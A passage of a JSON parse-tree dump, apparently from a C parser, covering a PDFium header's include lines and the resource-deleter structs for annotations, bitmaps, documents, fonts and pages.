6, "type": "preproc_include", "text": "#include \"public/fpdf_annot.h\"\n", "parent": 0, "children": [7, 8], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"public/fpdf_annot.h\"", "parent": 6, "children": [], "start_point": {"row": 7, "column": 9}, "end_point": {"row": 7, "column": 30}}, {"id": 9, "type": "preproc_include", "text": "#include \"public/fpdf_dataavail.h\"\n", "parent": 0, "children": [10, 11], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 8}}, {"id": 11, "type": "string_literal", "text": "\"public/fpdf_dataavail.h\"", "parent": 9, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 34}}, {"id": 12, "type": "preproc_include", "text": "#include \"public/fpdf_edit.h\"\n", "parent": 0, "children": [13, 14], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 8}}, {"id": 14, "type": "string_literal", "text": "\"public/fpdf_edit.h\"", "parent": 12, "children": [], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 29}}, {"id": 15, "type": "preproc_include", "text": "#include \"public/fpdf_formfill.h\"\n", "parent": 0, "children": [16, 17], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 8}}, {"id": 17, "type": "string_literal", "text": "\"public/fpdf_formfill.h\"", "parent": 15, "children": [], "start_point": {"row": 10, "column": 9}, "end_point": {"row": 10, "column": 33}}, {"id": 18, "type": "preproc_include", "text": "#include \"public/fpdf_structtree.h\"\n", "parent": 0, "children": [19, 20], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 12, "column": 0}}, {"id": 19, "type": "#include", "text": "#include", "parent": 18, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 8}}, {"id": 20, "type": "string_literal", "text": "\"public/fpdf_structtree.h\"", "parent": 18, "children": [], "start_point": {"row": 11, "column": 9}, "end_point": {"row": 11, "column": 35}}, {"id": 21, "type": "preproc_include", "text": "#include \"public/fpdf_text.h\"\n", "parent": 0, "children": [22, 23], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 13, "column": 0}}, {"id": 22, "type": "#include", "text": "#include", "parent": 21, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 8}}, {"id": 23, "type": "string_literal", "text": "\"public/fpdf_text.h\"", "parent": 21, "children": [], "start_point": {"row": 12, "column": 9}, "end_point": {"row": 12, "column": 29}}, {"id": 24, "type": "preproc_include", "text": "#include \"public/fpdf_transformpage.h\"\n", "parent": 0, "children": [25, 26], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 14, "column": 0}}, {"id": 25, "type": "#include", "text": "#include", "parent": 24, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 8}}, {"id": 26, "type": "string_literal", "text": "\"public/fpdf_transformpage.h\"", "parent": 24, "children": [], "start_point": {"row": 13, "column": 9}, "end_point": {"row": 13, "column": 38}}, {"id": 27, "type": "preproc_include", "text": "#include \"public/fpdfview.h\"\n", "parent": 0, "children": [28, 29], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 15, "column": 0}}, {"id": 28, "type": "#include", "text": "#include", "parent": 27, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 8}}, {"id": 29, "type": "string_literal", "text": "\"public/fpdfview.h\"", "parent": 27, "children": [], "start_point": {"row": 14, "column": 9}, "end_point": {"row": 14, "column": 28}}, {"id": 30, "type": "struct_specifier", "text": "struct FPDFAnnotationDeleter {\n inline void operator()(FPDF_ANNOTATION annot) { FPDFPage_CloseAnnot(annot); }", "parent": 0, "children": [31, 32], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 19, "column": 79}}, {"id": 31, "type": "struct", "text": "struct", "parent": 30, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 6}}, {"id": 32, "type": "type_identifier", "text": "FPDFAnnotationDeleter", "parent": 30, "children": [], "start_point": {"row": 18, "column": 7}, "end_point": {"row": 18, "column": 28}}, {"id": 33, "type": "field_declaration", "text": "inline void operator()(FPDF_ANNOTATION annot) { FPDFPage_CloseAnnot(annot);", "parent": 30, "children": [34, 36, 37, 46], "start_point": {"row": 19, "column": 2}, "end_point": {"row": 19, "column": 77}}, {"id": 34, "type": "storage_class_specifier", "text": "inline", "parent": 33, "children": [35], "start_point": {"row": 19, "column": 2}, "end_point": {"row": 19, "column": 8}}, {"id": 35, "type": "inline", "text": "inline", "parent": 34, "children": [], "start_point": {"row": 19, "column": 2}, "end_point": {"row": 19, "column": 8}}, {"id": 36, "type": "primitive_type", "text": "void", "parent": 33, "children": [], "start_point": {"row": 19, "column": 9}, "end_point": {"row": 19, "column": 13}}, {"id": 37, "type": "ERROR", "text": "operator()(FPDF_ANNOTATION annot) {", "parent": 33, "children": [38], "start_point": {"row": 19, "column": 14}, "end_point": {"row": 19, "column": 49}}, {"id": 38, "type": "function_declarator", "text": "operator()(FPDF_ANNOTATION annot)", "parent": 37, "children": [39, 42], "start_point": {"row": 19, "column": 14}, "end_point": {"row": 19, "column": 47}}, {"id": 39, "type": "function_declarator", "text": "operator()", "parent": 38, "children": [40, 41], "start_point": {"row": 19, "column": 14}, "end_point": {"row": 19, "column": 24}}, {"id": 40, "type": "field_identifier", "text": "operator", "parent": 39, "children": [], "start_point": {"row": 19, "column": 14}, "end_point": {"row": 19, "column": 22}}, {"id": 41, "type": "parameter_list", "text": "()", "parent": 39, "children": [], "start_point": {"row": 19, "column": 22}, "end_point": {"row": 19, "column": 24}}, {"id": 42, "type": "parameter_list", "text": "(FPDF_ANNOTATION annot)", "parent": 38, "children": [43], "start_point": {"row": 19, "column": 24}, "end_point": {"row": 19, "column": 47}}, {"id": 43, "type": "parameter_declaration", "text": "FPDF_ANNOTATION annot", "parent": 42, "children": [44, 45], "start_point": {"row": 19, "column": 25}, "end_point": {"row": 19, "column": 46}}, {"id": 44, "type": "type_identifier", "text": "FPDF_ANNOTATION", "parent": 43, "children": [], "start_point": {"row": 19, "column": 25}, "end_point": {"row": 19, "column": 40}}, {"id": 45, "type": "identifier", "text": "annot", "parent": 43, "children": [], "start_point": {"row": 19, "column": 41}, "end_point": {"row": 19, "column": 46}}, {"id": 46, "type": "function_declarator", "text": "FPDFPage_CloseAnnot(annot)", "parent": 33, "children": [47, 48], "start_point": {"row": 19, "column": 50}, "end_point": {"row": 19, "column": 76}}, {"id": 47, "type": "field_identifier", "text": "FPDFPage_CloseAnnot", "parent": 46, "children": [], "start_point": {"row": 19, "column": 50}, "end_point": {"row": 19, "column": 69}}, {"id": 48, "type": "parameter_list", "text": "(annot)", "parent": 46, "children": [49], "start_point": {"row": 19, "column": 69}, "end_point": {"row": 19, "column": 76}}, {"id": 49, "type": "parameter_declaration", "text": "annot", "parent": 48, "children": [50], "start_point": {"row": 19, "column": 70}, "end_point": {"row": 19, "column": 75}}, {"id": 50, "type": "type_identifier", "text": "annot", "parent": 49, "children": [], "start_point": {"row": 19, "column": 70}, "end_point": {"row": 19, "column": 75}}, {"id": 51, "type": "struct_specifier", "text": "struct FPDFAvailDeleter {\n inline void operator()(FPDF_AVAIL avail) { FPDFAvail_Destroy(avail); }", "parent": 0, "children": [52, 53], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 23, "column": 72}}, {"id": 52, "type": "struct", "text": "struct", "parent": 51, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 6}}, {"id": 53, "type": "type_identifier", "text": "FPDFAvailDeleter", "parent": 51, "children": [], "start_point": {"row": 22, "column": 7}, "end_point": {"row": 22, "column": 23}}, {"id": 54, "type": "field_declaration", "text": "inline void operator()(FPDF_AVAIL avail) { FPDFAvail_Destroy(avail);", "parent": 51, "children": [55, 57, 58, 67], "start_point": {"row": 23, "column": 2}, "end_point": {"row": 23, "column": 70}}, {"id": 55, "type": "storage_class_specifier", "text": "inline", "parent": 54, "children": [56], "start_point": {"row": 23, "column": 2}, "end_point": {"row": 23, "column": 8}}, {"id": 56, "type": "inline", "text": "inline", "parent": 55, "children": [], "start_point": {"row": 23, "column": 2}, "end_point": {"row": 23, "column": 8}}, {"id": 57, "type": "primitive_type", "text": "void", "parent": 54, "children": [], "start_point": {"row": 23, "column": 9}, "end_point": {"row": 23, "column": 13}}, {"id": 58, "type": "ERROR", "text": "operator()(FPDF_AVAIL avail) {", "parent": 54, "children": [59], "start_point": {"row": 23, "column": 14}, "end_point": {"row": 23, "column": 44}}, {"id": 59, "type": "function_declarator", "text": "operator()(FPDF_AVAIL avail)", "parent": 58, "children": [60, 63], "start_point": {"row": 23, "column": 14}, "end_point": {"row": 23, "column": 42}}, {"id": 60, "type": "function_declarator", "text": "operator()", "parent": 59, "children": [61, 62], "start_point": {"row": 23, "column": 14}, "end_point": {"row": 23, "column": 24}}, {"id": 61, "type": "field_identifier", "text": "operator", "parent": 60, "children": [], "start_point": {"row": 23, "column": 14}, "end_point": {"row": 23, "column": 22}}, {"id": 62, "type": "parameter_list", "text": "()", "parent": 60, "children": [], "start_point": {"row": 23, "column": 22}, "end_point": {"row": 23, "column": 24}}, {"id": 63, "type": "parameter_list", "text": "(FPDF_AVAIL avail)", "parent": 59, "children": [64], "start_point": {"row": 23, "column": 24}, "end_point": {"row": 23, "column": 42}}, {"id": 64, "type": "parameter_declaration", "text": "FPDF_AVAIL avail", "parent": 63, "children": [65, 66], "start_point": {"row": 23, "column": 25}, "end_point": {"row": 23, "column": 41}}, {"id": 65, "type": "type_identifier", "text": "FPDF_AVAIL", "parent": 64, "children": [], "start_point": {"row": 23, "column": 25}, "end_point": {"row": 23, "column": 35}}, {"id": 66, "type": "identifier", "text": "avail", "parent": 64, "children": [], "start_point": {"row": 23, "column": 36}, "end_point": {"row": 23, "column": 41}}, {"id": 67, "type": "function_declarator", "text": "FPDFAvail_Destroy(avail)", "parent": 54, "children": [68, 69], "start_point": {"row": 23, "column": 45}, "end_point": {"row": 23, "column": 69}}, {"id": 68, "type": "field_identifier", "text": "FPDFAvail_Destroy", "parent": 67, "children": [], "start_point": {"row": 23, "column": 45}, "end_point": {"row": 23, "column": 62}}, {"id": 69, "type": "parameter_list", "text": "(avail)", "parent": 67, "children": [70], "start_point": {"row": 23, "column": 62}, "end_point": {"row": 23, "column": 69}}, {"id": 70, "type": "parameter_declaration", "text": "avail", "parent": 69, "children": [71], "start_point": {"row": 23, "column": 63}, "end_point": {"row": 23, "column": 68}}, {"id": 71, "type": "type_identifier", "text": "avail", "parent": 70, "children": [], "start_point": {"row": 23, "column": 63}, "end_point": {"row": 23, "column": 68}}, {"id": 72, "type": "struct_specifier", "text": "struct FPDFBitmapDeleter {\n inline void operator()(FPDF_BITMAP bitmap) { FPDFBitmap_Destroy(bitmap); }", "parent": 0, "children": [73, 74], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 27, "column": 76}}, {"id": 73, "type": "struct", "text": "struct", "parent": 72, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 6}}, {"id": 74, "type": "type_identifier", "text": "FPDFBitmapDeleter", "parent": 72, "children": [], "start_point": {"row": 26, "column": 7}, "end_point": {"row": 26, "column": 24}}, {"id": 75, "type": "field_declaration", "text": "inline void operator()(FPDF_BITMAP bitmap) { FPDFBitmap_Destroy(bitmap);", "parent": 72, "children": [76, 78, 79, 88], "start_point": {"row": 27, "column": 2}, "end_point": {"row": 27, "column": 74}}, {"id": 76, "type": "storage_class_specifier", "text": "inline", "parent": 75, "children": [77], "start_point": {"row": 27, "column": 2}, "end_point": {"row": 27, "column": 8}}, {"id": 77, "type": "inline", "text": "inline", "parent": 76, "children": [], "start_point": {"row": 27, "column": 2}, "end_point": {"row": 27, "column": 8}}, {"id": 78, "type": "primitive_type", "text": "void", "parent": 75, "children": [], "start_point": {"row": 27, "column": 9}, "end_point": {"row": 27, "column": 13}}, {"id": 79, "type": "ERROR", "text": "operator()(FPDF_BITMAP bitmap) {", "parent": 75, "children": [80], "start_point": {"row": 27, "column": 14}, "end_point": {"row": 27, "column": 46}}, {"id": 80, "type": "function_declarator", "text": "operator()(FPDF_BITMAP bitmap)", "parent": 79, "children": [81, 84], "start_point": {"row": 27, "column": 14}, "end_point": {"row": 27, "column": 44}}, {"id": 81, "type": "function_declarator", "text": "operator()", "parent": 80, "children": [82, 83], "start_point": {"row": 27, "column": 14}, "end_point": {"row": 27, "column": 24}}, {"id": 82, "type": "field_identifier", "text": "operator", "parent": 81, "children": [], "start_point": {"row": 27, "column": 14}, "end_point": {"row": 27, "column": 22}}, {"id": 83, "type": "parameter_list", "text": "()", "parent": 81, "children": [], "start_point": {"row": 27, "column": 22}, "end_point": {"row": 27, "column": 24}}, {"id": 84, "type": "parameter_list", "text": "(FPDF_BITMAP bitmap)", "parent": 80, "children": [85], "start_point": {"row": 27, "column": 24}, "end_point": {"row": 27, "column": 44}}, {"id": 85, "type": "parameter_declaration", "text": "FPDF_BITMAP bitmap", "parent": 84, "children": [86, 87], "start_point": {"row": 27, "column": 25}, "end_point": {"row": 27, "column": 43}}, {"id": 86, "type": "type_identifier", "text": "FPDF_BITMAP", "parent": 85, "children": [], "start_point": {"row": 27, "column": 25}, "end_point": {"row": 27, "column": 36}}, {"id": 87, "type": "identifier", "text": "bitmap", "parent": 85, "children": [], "start_point": {"row": 27, "column": 37}, "end_point": {"row": 27, "column": 43}}, {"id": 88, "type": "function_declarator", "text": "FPDFBitmap_Destroy(bitmap)", "parent": 75, "children": [89, 90], "start_point": {"row": 27, "column": 47}, "end_point": {"row": 27, "column": 73}}, {"id": 89, "type": "field_identifier", "text": "FPDFBitmap_Destroy", "parent": 88, "children": [], "start_point": {"row": 27, "column": 47}, "end_point": {"row": 27, "column": 65}}, {"id": 90, "type": "parameter_list", "text": "(bitmap)", "parent": 88, "children": [91], "start_point": {"row": 27, "column": 65}, "end_point": {"row": 27, "column": 73}}, {"id": 91, "type": "parameter_declaration", "text": "bitmap", "parent": 90, "children": [92], "start_point": {"row": 27, "column": 66}, "end_point": {"row": 27, "column": 72}}, {"id": 92, "type": "type_identifier", "text": "bitmap", "parent": 91, "children": [], "start_point": {"row": 27, "column": 66}, "end_point": {"row": 27, "column": 72}}, {"id": 93, "type": "struct_specifier", "text": "struct FPDFClipPathDeleter {\n inline void operator()(FPDF_CLIPPATH clip_path) {\n FPDF_DestroyClipPath(clip_path);\n }", "parent": 0, "children": [94, 95], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 33, "column": 3}}, {"id": 94, "type": "struct", "text": "struct", "parent": 93, "children": [], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 30, "column": 6}}, {"id": 95, "type": "type_identifier", "text": "FPDFClipPathDeleter", "parent": 93, "children": [], "start_point": {"row": 30, "column": 7}, "end_point": {"row": 30, "column": 26}}, {"id": 96, "type": "field_declaration", "text": "inline void operator()(FPDF_CLIPPATH clip_path) {\n FPDF_DestroyClipPath(clip_path);", "parent": 93, "children": [97, 99, 100, 109], "start_point": {"row": 31, "column": 2}, "end_point": {"row": 32, "column": 36}}, {"id": 97, "type": "storage_class_specifier", "text": "inline", "parent": 96, "children": [98], "start_point": {"row": 31, "column": 2}, "end_point": {"row": 31, "column": 8}}, {"id": 98, "type": "inline", "text": "inline", "parent": 97, "children": [], "start_point": {"row": 31, "column": 2}, "end_point": {"row": 31, "column": 8}}, {"id": 99, "type": "primitive_type", "text": "void", "parent": 96, "children": [], "start_point": {"row": 31, "column": 9}, "end_point": {"row": 31, "column": 13}}, {"id": 100, "type": "ERROR", "text": "operator()(FPDF_CLIPPATH clip_path) {", "parent": 96, "children": [101], "start_point": {"row": 31, "column": 14}, "end_point": {"row": 31, "column": 51}}, {"id": 101, "type": "function_declarator", "text": "operator()(FPDF_CLIPPATH clip_path)", "parent": 100, "children": [102, 105], "start_point": {"row": 31, "column": 14}, "end_point": {"row": 31, "column": 49}}, {"id": 102, "type": "function_declarator", "text": "operator()", "parent": 101, "children": [103, 104], "start_point": {"row": 31, "column": 14}, "end_point": {"row": 31, "column": 24}}, {"id": 103, "type": "field_identifier", "text": "operator", "parent": 102, "children": [], "start_point": {"row": 31, "column": 14}, "end_point": {"row": 31, "column": 22}}, {"id": 104, "type": "parameter_list", "text": "()", "parent": 102, "children": [], "start_point": {"row": 31, "column": 22}, "end_point": {"row": 31, "column": 24}}, {"id": 105, "type": "parameter_list", "text": "(FPDF_CLIPPATH clip_path)", "parent": 101, "children": [106], "start_point": {"row": 31, "column": 24}, "end_point": {"row": 31, "column": 49}}, {"id": 106, "type": "parameter_declaration", "text": "FPDF_CLIPPATH clip_path", "parent": 105, "children": [107, 108], "start_point": {"row": 31, "column": 25}, "end_point": {"row": 31, "column": 48}}, {"id": 107, "type": "type_identifier", "text": "FPDF_CLIPPATH", "parent": 106, "children": [], "start_point": {"row": 31, "column": 25}, "end_point": {"row": 31, "column": 38}}, {"id": 108, "type": "identifier", "text": "clip_path", "parent": 106, "children": [], "start_point": {"row": 31, "column": 39}, "end_point": {"row": 31, "column": 48}}, {"id": 109, "type": "function_declarator", "text": "FPDF_DestroyClipPath(clip_path)", "parent": 96, "children": [110, 111], "start_point": {"row": 32, "column": 4}, "end_point": {"row": 32, "column": 35}}, {"id": 110, "type": "field_identifier", "text": "FPDF_DestroyClipPath", "parent": 109, "children": [], "start_point": {"row": 32, "column": 4}, "end_point": {"row": 32, "column": 24}}, {"id": 111, "type": "parameter_list", "text": "(clip_path)", "parent": 109, "children": [112], "start_point": {"row": 32, "column": 24}, "end_point": {"row": 32, "column": 35}}, {"id": 112, "type": "parameter_declaration", "text": "clip_path", "parent": 111, "children": [113], "start_point": {"row": 32, "column": 25}, "end_point": {"row": 32, "column": 34}}, {"id": 113, "type": "type_identifier", "text": "clip_path", "parent": 112, "children": [], "start_point": {"row": 32, "column": 25}, "end_point": {"row": 32, "column": 34}}, {"id": 114, "type": "struct_specifier", "text": "struct FPDFDocumentDeleter {\n inline void operator()(FPDF_DOCUMENT doc) { FPDF_CloseDocument(doc); }", "parent": 0, "children": [115, 116], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 37, "column": 72}}, {"id": 115, "type": "struct", "text": "struct", "parent": 114, "children": [], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 6}}, {"id": 116, "type": "type_identifier", "text": "FPDFDocumentDeleter", "parent": 114, "children": [], "start_point": {"row": 36, "column": 7}, "end_point": {"row": 36, "column": 26}}, {"id": 117, "type": "field_declaration", "text": "inline void operator()(FPDF_DOCUMENT doc) { FPDF_CloseDocument(doc);", "parent": 114, "children": [118, 120, 121, 130], "start_point": {"row": 37, "column": 2}, "end_point": {"row": 37, "column": 70}}, {"id": 118, "type": "storage_class_specifier", "text": "inline", "parent": 117, "children": [119], "start_point": {"row": 37, "column": 2}, "end_point": {"row": 37, "column": 8}}, {"id": 119, "type": "inline", "text": "inline", "parent": 118, "children": [], "start_point": {"row": 37, "column": 2}, "end_point": {"row": 37, "column": 8}}, {"id": 120, "type": "primitive_type", "text": "void", "parent": 117, "children": [], "start_point": {"row": 37, "column": 9}, "end_point": {"row": 37, "column": 13}}, {"id": 121, "type": "ERROR", "text": "operator()(FPDF_DOCUMENT doc) {", "parent": 117, "children": [122], "start_point": {"row": 37, "column": 14}, "end_point": {"row": 37, "column": 45}}, {"id": 122, "type": "function_declarator", "text": "operator()(FPDF_DOCUMENT doc)", "parent": 121, "children": [123, 126], "start_point": {"row": 37, "column": 14}, "end_point": {"row": 37, "column": 43}}, {"id": 123, "type": "function_declarator", "text": "operator()", "parent": 122, "children": [124, 125], "start_point": {"row": 37, "column": 14}, "end_point": {"row": 37, "column": 24}}, {"id": 124, "type": "field_identifier", "text": "operator", "parent": 123, "children": [], "start_point": {"row": 37, "column": 14}, "end_point": {"row": 37, "column": 22}}, {"id": 125, "type": "parameter_list", "text": "()", "parent": 123, "children": [], "start_point": {"row": 37, "column": 22}, "end_point": {"row": 37, "column": 24}}, {"id": 126, "type": "parameter_list", "text": "(FPDF_DOCUMENT doc)", "parent": 122, "children": [127], "start_point": {"row": 37, "column": 24}, "end_point": {"row": 37, "column": 43}}, {"id": 127, "type": "parameter_declaration", "text": "FPDF_DOCUMENT doc", "parent": 126, "children": [128, 129], "start_point": {"row": 37, "column": 25}, "end_point": {"row": 37, "column": 42}}, {"id": 128, "type": "type_identifier", "text": "FPDF_DOCUMENT", "parent": 127, "children": [], "start_point": {"row": 37, "column": 25}, "end_point": {"row": 37, "column": 38}}, {"id": 129, "type": "identifier", "text": "doc", "parent": 127, "children": [], "start_point": {"row": 37, "column": 39}, "end_point": {"row": 37, "column": 42}}, {"id": 130, "type": "function_declarator", "text": "FPDF_CloseDocument(doc)", "parent": 117, "children": [131, 132], "start_point": {"row": 37, "column": 46}, "end_point": {"row": 37, "column": 69}}, {"id": 131, "type": "field_identifier", "text": "FPDF_CloseDocument", "parent": 130, "children": [], "start_point": {"row": 37, "column": 46}, "end_point": {"row": 37, "column": 64}}, {"id": 132, "type": "parameter_list", "text": "(doc)", "parent": 130, "children": [133], "start_point": {"row": 37, "column": 64}, "end_point": {"row": 37, "column": 69}}, {"id": 133, "type": "parameter_declaration", "text": "doc", "parent": 132, "children": [134], "start_point": {"row": 37, "column": 65}, "end_point": {"row": 37, "column": 68}}, {"id": 134, "type": "type_identifier", "text": "doc", "parent": 133, "children": [], "start_point": {"row": 37, "column": 65}, "end_point": {"row": 37, "column": 68}}, {"id": 135, "type": "struct_specifier", "text": "struct FPDFFontDeleter {\n inline void operator()(FPDF_FONT font) { FPDFFont_Close(font); }", "parent": 0, "children": [136, 137], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 41, "column": 66}}, {"id": 136, "type": "struct", "text": "struct", "parent": 135, "children": [], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 40, "column": 6}}, {"id": 137, "type": "type_identifier", "text": "FPDFFontDeleter", "parent": 135, "children": [], "start_point": {"row": 40, "column": 7}, "end_point": {"row": 40, "column": 22}}, {"id": 138, "type": "field_declaration", "text": "inline void operator()(FPDF_FONT font) { FPDFFont_Close(font);", "parent": 135, "children": [139, 141, 142, 151], "start_point": {"row": 41, "column": 2}, "end_point": {"row": 41, "column": 64}}, {"id": 139, "type": "storage_class_specifier", "text": "inline", "parent": 138, "children": [140], "start_point": {"row": 41, "column": 2}, "end_point": {"row": 41, "column": 8}}, {"id": 140, "type": "inline", "text": "inline", "parent": 139, "children": [], "start_point": {"row": 41, "column": 2}, "end_point": {"row": 41, "column": 8}}, {"id": 141, "type": "primitive_type", "text": "void", "parent": 138, "children": [], "start_point": {"row": 41, "column": 9}, "end_point": {"row": 41, "column": 13}}, {"id": 142, "type": "ERROR", "text": "operator()(FPDF_FONT font) {", "parent": 138, "children": [143], "start_point": {"row": 41, "column": 14}, "end_point": {"row": 41, "column": 42}}, {"id": 143, "type": "function_declarator", "text": "operator()(FPDF_FONT font)", "parent": 142, "children": [144, 147], "start_point": {"row": 41, "column": 14}, "end_point": {"row": 41, "column": 40}}, {"id": 144, "type": "function_declarator", "text": "operator()", "parent": 143, "children": [145, 146], "start_point": {"row": 41, "column": 14}, "end_point": {"row": 41, "column": 24}}, {"id": 145, "type": "field_identifier", "text": "operator", "parent": 144, "children": [], "start_point": {"row": 41, "column": 14}, "end_point": {"row": 41, "column": 22}}, {"id": 146, "type": "parameter_list", "text": "()", "parent": 144, "children": [], "start_point": {"row": 41, "column": 22}, "end_point": {"row": 41, "column": 24}}, {"id": 147, "type": "parameter_list", "text": "(FPDF_FONT font)", "parent": 143, "children": [148], "start_point": {"row": 41, "column": 24}, "end_point": {"row": 41, "column": 40}}, {"id": 148, "type": "parameter_declaration", "text": "FPDF_FONT font", "parent": 147, "children": [149, 150], "start_point": {"row": 41, "column": 25}, "end_point": {"row": 41, "column": 39}}, {"id": 149, "type": "type_identifier", "text": "FPDF_FONT", "parent": 148, "children": [], "start_point": {"row": 41, "column": 25}, "end_point": {"row": 41, "column": 34}}, {"id": 150, "type": "identifier", "text": "font", "parent": 148, "children": [], "start_point": {"row": 41, "column": 35}, "end_point": {"row": 41, "column": 39}}, {"id": 151, "type": "function_declarator", "text": "FPDFFont_Close(font)", "parent": 138, "children": [152, 153], "start_point": {"row": 41, "column": 43}, "end_point": {"row": 41, "column": 63}}, {"id": 152, "type": "field_identifier", "text": "FPDFFont_Close", "parent": 151, "children": [], "start_point": {"row": 41, "column": 43}, "end_point": {"row": 41, "column": 57}}, {"id": 153, "type": "parameter_list", "text": "(font)", "parent": 151, "children": [154], "start_point": {"row": 41, "column": 57}, "end_point": {"row": 41, "column": 63}}, {"id": 154, "type": "parameter_declaration", "text": "font", "parent": 153, "children": [155], "start_point": {"row": 41, "column": 58}, "end_point": {"row": 41, "column": 62}}, {"id": 155, "type": "type_identifier", "text": "font", "parent": 154, "children": [], "start_point": {"row": 41, "column": 58}, "end_point": {"row": 41, "column": 62}}, {"id": 156, "type": "struct_specifier", "text": "struct FPDFFormHandleDeleter {\n inline void operator()(FPDF_FORMHANDLE form) {\n FPDFDOC_ExitFormFillEnvironment(form);\n }", "parent": 0, "children": [157, 158], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 47, "column": 3}}, {"id": 157, "type": "struct", "text": "struct", "parent": 156, "children": [], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 6}}, {"id": 158, "type": "type_identifier", "text": "FPDFFormHandleDeleter", "parent": 156, "children": [], "start_point": {"row": 44, "column": 7}, "end_point": {"row": 44, "column": 28}}, {"id": 159, "type": "field_declaration", "text": "inline void operator()(FPDF_FORMHANDLE form) {\n FPDFDOC_ExitFormFillEnvironment(form);", "parent": 156, "children": [160, 162, 163, 172], "start_point": {"row": 45, "column": 2}, "end_point": {"row": 46, "column": 42}}, {"id": 160, "type": "storage_class_specifier", "text": "inline", "parent": 159, "children": [161], "start_point": {"row": 45, "column": 2}, "end_point": {"row": 45, "column": 8}}, {"id": 161, "type": "inline", "text": "inline", "parent": 160, "children": [], "start_point": {"row": 45, "column": 2}, "end_point": {"row": 45, "column": 8}}, {"id": 162, "type": "primitive_type", "text": "void", "parent": 159, "children": [], "start_point": {"row": 45, "column": 9}, "end_point": {"row": 45, "column": 13}}, {"id": 163, "type": "ERROR", "text": "operator()(FPDF_FORMHANDLE form) {", "parent": 159, "children": [164], "start_point": {"row": 45, "column": 14}, "end_point": {"row": 45, "column": 48}}, {"id": 164, "type": "function_declarator", "text": "operator()(FPDF_FORMHANDLE form)", "parent": 163, "children": [165, 168], "start_point": {"row": 45, "column": 14}, "end_point": {"row": 45, "column": 46}}, {"id": 165, "type": "function_declarator", "text": "operator()", "parent": 164, "children": [166, 167], "start_point": {"row": 45, "column": 14}, "end_point": {"row": 45, "column": 24}}, {"id": 166, "type": "field_identifier", "text": "operator", "parent": 165, "children": [], "start_point": {"row": 45, "column": 14}, "end_point": {"row": 45, "column": 22}}, {"id": 167, "type": "parameter_list", "text": "()", "parent": 165, "children": [], "start_point": {"row": 45, "column": 22}, "end_point": {"row": 45, "column": 24}}, {"id": 168, "type": "parameter_list", "text": "(FPDF_FORMHANDLE form)", "parent": 164, "children": [169], "start_point": {"row": 45, "column": 24}, "end_point": {"row": 45, "column": 46}}, {"id": 169, "type": "parameter_declaration", "text": "FPDF_FORMHANDLE form", "parent": 168, "children": [170, 171], "start_point": {"row": 45, "column": 25}, "end_point": {"row": 45, "column": 45}}, {"id": 170, "type": "type_identifier", "text": "FPDF_FORMHANDLE", "parent": 169, "children": [], "start_point": {"row": 45, "column": 25}, "end_point": {"row": 45, "column": 40}}, {"id": 171, "type": "identifier", "text": "form", "parent": 169, "children": [], "start_point": {"row": 45, "column": 41}, "end_point": {"row": 45, "column": 45}}, {"id": 172, "type": "function_declarator", "text": "FPDFDOC_ExitFormFillEnvironment(form)", "parent": 159, "children": [173, 174], "start_point": {"row": 46, "column": 4}, "end_point": {"row": 46, "column": 41}}, {"id": 173, "type": "field_identifier", "text": "FPDFDOC_ExitFormFillEnvironment", "parent": 172, "children": [], "start_point": {"row": 46, "column": 4}, "end_point": {"row": 46, "column": 35}}, {"id": 174, "type": "parameter_list", "text": "(form)", "parent": 172, "children": [175], "start_point": {"row": 46, "column": 35}, "end_point": {"row": 46, "column": 41}}, {"id": 175, "type": "parameter_declaration", "text": "form", "parent": 174, "children": [176], "start_point": {"row": 46, "column": 36}, "end_point": {"row": 46, "column": 40}}, {"id": 176, "type": "type_identifier", "text": "form", "parent": 175, "children": [], "start_point": {"row": 46, "column": 36}, "end_point": {"row": 46, "column": 40}}, {"id": 177, "type": "struct_specifier", "text": "struct FPDFPageDeleter {\n inline void operator()(FPDF_PAGE page) { FPDF_ClosePage(page); }", "parent": 0, "children": [178, 179], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 51, "column": 66}}, {"id": 178, "type": "struct", "text": "struct", "parent": 177, "children": [], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 50, "column": 6}}, {"id": 179, "type": "type_identifier", "text": "FPDFPageDeleter", "parent": 177, "children": [], "start_point": {"row": 50, "column": 7}, "end_point": {"row": 50, "column": 22}}, {"id": 180, 